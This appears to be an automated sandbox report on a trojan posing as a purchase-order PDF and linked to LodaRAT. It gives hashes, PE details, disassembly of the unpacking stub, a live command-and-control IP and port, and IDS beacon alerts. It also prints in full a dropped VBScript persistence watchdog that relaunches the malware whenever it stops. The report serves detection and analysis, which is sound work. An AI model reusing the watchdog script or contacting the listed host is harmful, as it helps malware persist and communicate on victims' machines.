Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	2 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase Order Supplies.Pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\KKRBIX.vbs	100%	Avira	VBS/Runner.VPJI
C:\Users\user\AppData\Roaming\Windata\Google Update.exe	100%	Joe Sandbox ML

Name	Source	Malicious	Antivirus Detection	Reputation
http://ip-score.com/checkip/:	Purchase Order Supplies.Pdf.exe, 00000001.00000002.2485288040.0000000004CA6000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.111.138.100	unknown	United States		3223	VOXILITYGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541228
Start date and time:	2024-10-24 15:37:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Purchase Order Supplies.Pdf.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/2@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 88 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: Purchase Order Supplies.Pdf.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.111.138.100	bf-p2b.exe	Get hash	malicious	LodaRAT	Browse
	gry.exe	Get hash	malicious	Unknown	Browse
	dlawt.exe	Get hash	malicious	LodaRat	Browse
	nXi3rwhMmB.exe	Get hash	malicious	LodaRat	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VOXILITYGB	zR4aIjCuRs.exe	Get hash	malicious	Remcos, GuLoader	Browse	45.74.58.7
	5s5Ut98vVh.bat	Get hash	malicious	Unknown	Browse	172.94.3.25
	Marys Organizer 2023 Release.zip	Get hash	malicious	Remcos	Browse	45.74.48.2
	Dlr7HYI6VL.lnk	Get hash	malicious	Remcos	Browse	172.94.3.25
	MdkbG2pK4l.lnk	Get hash	malicious	Remcos	Browse	172.94.3.25
	55Ka50lb6Z.bat	Get hash	malicious	Remcos	Browse	172.94.3.25
	zz91Dcv5Kf.dll	Get hash	malicious	Remcos	Browse	172.94.9.207
	V9HUU0LCin.dll	Get hash	malicious	Remcos	Browse	172.94.9.207
	E5r67vtBtc6.exe	Get hash	malicious	Xmrig	Browse	172.94.15.211
	Miner-XMR2.exe	Get hash	malicious	Xmrig	Browse	172.94.15.211

Process:	C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	862
Entropy (8bit):	5.3210325672744965
Encrypted:	false
SSDEEP:	24:dF/UrLvU/qaG2b6xI6C6x1xLxeQvJWAB/FVEMPENEZaVx5xCA:f/U8t+G+7xLxe0WABNVIqZaVzgA
MD5:	A2E6DF552F3F3C3C5093B3C8CABB4E29
SHA1:	7C3C9CF157C8E3B0C99FD9F23232711DA632234E
SHA-256:	3BCE9C5F93FC18951A825E965F31D9F5894B33CE74087021C081CFE98B1FD5FF
SHA-512:	91804410DA32C325783968C7EDF06102F818325DE007B2E7E8542200F519F2F05D04ACA02490F8F41F24B713A774F77C6E4A3D8CD4B96E3E4A827EF6F475C07D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: C:\Users\user\AppData\Local\Temp\KKRBIX.vbs, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	On error resume next..Dim strComputer,strProcess,fileset..strProcess = "Purchase Order Supplies.Pdf.exe"..fileset = """C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe"""..strComputer = "." ..Dim objShell..Set objShell = CreateObject("WScript.Shell")..Dim fso..Set fso = CreateObject("Scripting.FileSystemObject")..while 1..IF isProcessRunning(strComputer,strProcess) THEN..ELSE..objShell.Run fileset..END IF..Wend..FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)..DIM objWMIService, strWMIQuery..strWMIQuery = "Select * from Win32_Process where name like '" & strProcessName & "'"..SET objWMIService = GETOBJECT("winmgmts:" _..& "{impersonationLevel=impersonate}!\\" _ ..& strComputer & "\root\cimv2") ...IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN..isProcessRunning = TRUE..ELSE..isProcessRunning = FALSE..END IF..END FUNCTION

C:\Users\user\AppData\Roaming\Windata\Google Update.exe

Download File

Process:	C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	945664
Entropy (8bit):	7.851519096340525
Encrypted:	false
SSDEEP:	24576:thloDX0XOf4mHACXg4eCkA6p5lH2udk3W:thloJfzACXKv8B
MD5:	A842353A8FD25A6B05D0D3CE6AFE8AAD
SHA1:	453B9ACEB8565D9F838E5BBCD8F694D97741ADA9
SHA-256:	9169A54C077380847A9D8D532FD0E5558D60F881FF6DCC029B2E04C9F9FB8104
SHA-512:	CEB261CDDBBB9942FDDC7ADB92D4CC64B2C32051D9F52B5BA39C58D38927FE937ABEEB457B21AA9CE9A5B1E2F07E5F8E08466709F3B7EA9B5254508D14D102BD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L...9..g.........."......P...0...P.......`........@.......................................@...@.......@.....................,...$.......,!..................P...........................................H...........................................UPX0.....P..............................UPX1.....P...`...D..................@....rsrc....0.......&...H..............@..............................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Entropy (8bit):	7.851519096340525
TrID:	Win32 Executable (generic) a (10002005/4) 99.39% UPX compressed Win32 Executable (30571/9) 0.30% Win32 EXE Yoda's Crypter (26571/9) 0.26% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	Purchase Order Supplies.Pdf.exe
File size:	945'664 bytes
MD5:	a842353a8fd25a6b05d0d3ce6afe8aad
SHA1:	453b9aceb8565d9f838e5bbcd8f694d97741ada9
SHA256:	9169a54c077380847a9d8d532fd0e5558d60f881ff6dcc029b2e04c9f9fb8104
SHA512:	ceb261cddbbb9942fddc7adb92d4cc64b2c32051d9f52b5ba39c58d38927fe937abeeb457b21aa9ce9a5b1e2f07e5f8e08466709f3b7ea9b5254508d14d102bd
SSDEEP:	24576:thloDX0XOf4mHACXg4eCkA6p5lH2udk3W:thloJfzACXKv8B
TLSH:	8E15E1E5A780C464E86795B9943BDAA7B433A60ECCA8490C3C95FF0B7D723471027D9B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S................g..........$...............%.....H.......X.2...........q)..Z...q)......q)........\.....q)......Rich...........

File Icon


Icon Hash:	2eec8e8cb683b9b1

Static PE Info

General

Entrypoint:	0x56a0c0
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715EB39 [Mon Oct 21 05:48:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	ef471c0edf1877cd5a881a6a8bf647b9

Entrypoint Preview

Instruction
pushad
mov esi, 00516000h
lea edi, dword ptr [esi-00115000h]
push edi
jmp 00007FDB510205BDh
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FDB5102059Fh
mov eax, 00000001h
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007FDB510205BDh
jne 00007FDB510205DAh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FDB510205D1h
dec eax
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007FDB51020586h
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007FDB51020604h
xor ecx, ecx
sub eax, 03h
jc 00007FDB510205C3h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007FDB51020627h
sar eax, 1
mov ebp, eax
jmp 00007FDB510205BDh
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FDB5102057Eh
inc ecx
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007FDB51020570h
add ebx, ebx
jne 00007FDB510205B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007FDB510205A1h
jne 00007FDB510205BBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007FDB51020596h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [edi+ebp]
cmp ebp, FFFFFFFCh
jbe 00007FDB510205C0h
mov al, byte ptr [edx]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1fd12c	0x424	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16b000	0x9212c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1fd550	0xc	.rsrc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16a2a4	0x48	UPX1
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x115000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
UPX1	0x116000	0x55000	0x54400	b800abcd27e641e5d9e2cb211185b8dc	False	0.9884145493323442	data	7.936135213996723	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x16b000	0x93000	0x92600	b914194c1693b0529a995e23738ea102	False	0.8552018840734416	data	7.740007351798353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x16b414	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0x16b540	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	Great Britain	0.2649377593360996
RT_ICON	0x16daec	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	Great Britain	0.3646810506566604
RT_ICON	0x16eb98	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	Great Britain	0.5549645390070922
RT_ICON	0x16f004	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2834 x 2834 px/m	English	Great Britain	0.18115257439773264
RT_ICON	0x173230	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2834 x 2834 px/m	English	Great Britain	0.0959718443156276
RT_STRING	0xdca40	0x594	empty	English	Great Britain	0
RT_STRING	0xdcfd4	0x68a	empty	English	Great Britain	0
RT_STRING	0xdd660	0x490	empty	English	Great Britain	0
RT_STRING	0xddaf0	0x5fc	empty	English	Great Britain	0
RT_STRING	0xde0ec	0x65c	empty	English	Great Britain	0
RT_STRING	0xde748	0x466	empty	English	Great Britain	0
RT_STRING	0xdebb0	0x158	empty	English	Great Britain	0
RT_RCDATA	0x183a5c	0x791d4	data			1.0003245418114675
RT_GROUP_ICON	0x1fcc34	0x4c	data	English	Great Britain	0.8157894736842105
RT_GROUP_ICON	0x1fcc84	0x14	data	English	Great Britain	1.15
RT_VERSION	0x1fcc9c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1fcd7c	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
ADVAPI32.dll	AddAce
COMCTL32.dll	ImageList_Remove
COMDLG32.dll	GetSaveFileNameW
GDI32.dll	LineTo
IPHLPAPI.DLL	IcmpSendEcho
MPR.dll	WNetUseConnectionW
ole32.dll	CoGetObject
OLEAUT32.dll	VariantInit
PSAPI.DLL	GetProcessMemoryInfo
SHELL32.dll	DragFinish
USER32.dll	GetDC
USERENV.dll	LoadUserProfileW
UxTheme.dll	IsThemeActive
VERSION.dll	VerQueryValueW
WININET.dll	FtpOpenFileW
WINMM.dll	timeGetTime
WSOCK32.dll	socket

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49714	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49716	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49715	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49711	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49713	172.111.138.100	5552	TCP
2024-10-24T15:38:16.421517+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49710	172.111.138.100	5552	TCP
2024-10-24T15:38:30.424583+0200	2822116	ETPRO MALWARE Loda Logger CnC Beacon	1	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:38:30.424583+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49708	172.111.138.100	5552	TCP
2024-10-24T15:38:39.694626+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49709	172.111.138.100	5552	TCP
2024-10-24T15:38:40.772870+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49709	172.111.138.100	5552	TCP
2024-10-24T15:38:48.781841+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49710	172.111.138.100	5552	TCP
2024-10-24T15:38:57.814205+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49711	172.111.138.100	5552	TCP
2024-10-24T15:39:06.899902+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49713	172.111.138.100	5552	TCP
2024-10-24T15:39:16.326030+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49714	172.111.138.100	5552	TCP
2024-10-24T15:39:25.332704+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49715	172.111.138.100	5552	TCP
2024-10-24T15:39:34.363167+0200	2822116	ETPRO MALWARE Loda Logger CnC Beacon	1	192.168.2.16	49716	172.111.138.100	5552	TCP
2024-10-24T15:39:34.363167+0200	2849885	ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin	1	192.168.2.16	49716	172.111.138.100	5552	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 15:38:29.366883039 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:30.369153023 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:30.424071074 CEST	5552	49708	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:30.424103022 CEST	5552	49708	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:30.424160004 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:30.424231052 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:30.424582958 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:30.435200930 CEST	5552	49708	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:31.177432060 CEST	5552	49708	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:31.177553892 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:31.187586069 CEST	49708	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:31.193084002 CEST	5552	49708	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:39.460707903 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:39.694204092 CEST	5552	49709	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:39.694314957 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:39.694626093 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:39.700001955 CEST	5552	49709	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:40.585036039 CEST	5552	49709	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:40.585158110 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:40.647746086 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:40.772789955 CEST	5552	49709	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:40.772870064 CEST	49709	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:40.773480892 CEST	5552	49709	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:48.775861979 CEST	49710	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:48.781354904 CEST	5552	49710	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:48.781450987 CEST	49710	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:48.781841040 CEST	49710	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:48.787188053 CEST	5552	49710	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:49.536848068 CEST	5552	49710	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:49.536999941 CEST	49710	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:49.544950008 CEST	49710	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:49.550347090 CEST	5552	49710	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:57.808199883 CEST	49711	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:57.813714027 CEST	5552	49711	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:57.813802958 CEST	49711	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:57.814204931 CEST	49711	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:57.819468975 CEST	5552	49711	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:58.560822010 CEST	5552	49711	172.111.138.100	192.168.2.16
Oct 24, 2024 15:38:58.560889959 CEST	49711	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:58.572863102 CEST	49711	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:38:58.578234911 CEST	5552	49711	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:06.891767979 CEST	49713	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:06.899525881 CEST	5552	49713	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:06.899600029 CEST	49713	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:06.899902105 CEST	49713	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:06.905461073 CEST	5552	49713	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:07.650496006 CEST	5552	49713	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:07.650640011 CEST	49713	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:07.660490990 CEST	49713	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:07.665863991 CEST	5552	49713	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:15.949208975 CEST	49714	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:16.325406075 CEST	5552	49714	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:16.325520039 CEST	49714	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:16.326030016 CEST	49714	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:16.331614017 CEST	5552	49714	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:17.086031914 CEST	5552	49714	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:17.086121082 CEST	49714	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:17.146879911 CEST	49714	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:17.152621031 CEST	5552	49714	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:25.326711893 CEST	49715	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:25.332298994 CEST	5552	49715	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:25.332453966 CEST	49715	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:25.332704067 CEST	49715	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:25.338439941 CEST	5552	49715	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:26.091114044 CEST	5552	49715	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:26.091245890 CEST	49715	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:26.096657038 CEST	49715	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:26.102065086 CEST	5552	49715	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:34.356899023 CEST	49716	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:34.362795115 CEST	5552	49716	172.111.138.100	192.168.2.16
Oct 24, 2024 15:39:34.362894058 CEST	49716	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:34.363167048 CEST	49716	5552	192.168.2.16	172.111.138.100
Oct 24, 2024 15:39:34.368637085 CEST	5552	49716	172.111.138.100	192.168.2.16

Target ID:	1
Start time:	09:38:19
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe"
Imagebase:	0xc90000
File size:	945'664 bytes
MD5 hash:	A842353A8FD25A6B05D0D3CE6AFE8AAD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000001.00000002.2485820292.0000000004D11000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:38:19
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	WSCript C:\Users\user\AppData\Local\Temp\KKRBIX.vbs
Imagebase:	0x380000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000003.00000002.2476240013.0000000003460000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000003.00000002.2471256103.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: 00000003.00000002.2471256103.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	36

Executed Functions

Function 00C9374E Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,00000001), ref: 00C9376D

Part of subcall function 00C94257: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00000104,?,00000000,00000001,00000000), ref: 00C9428C

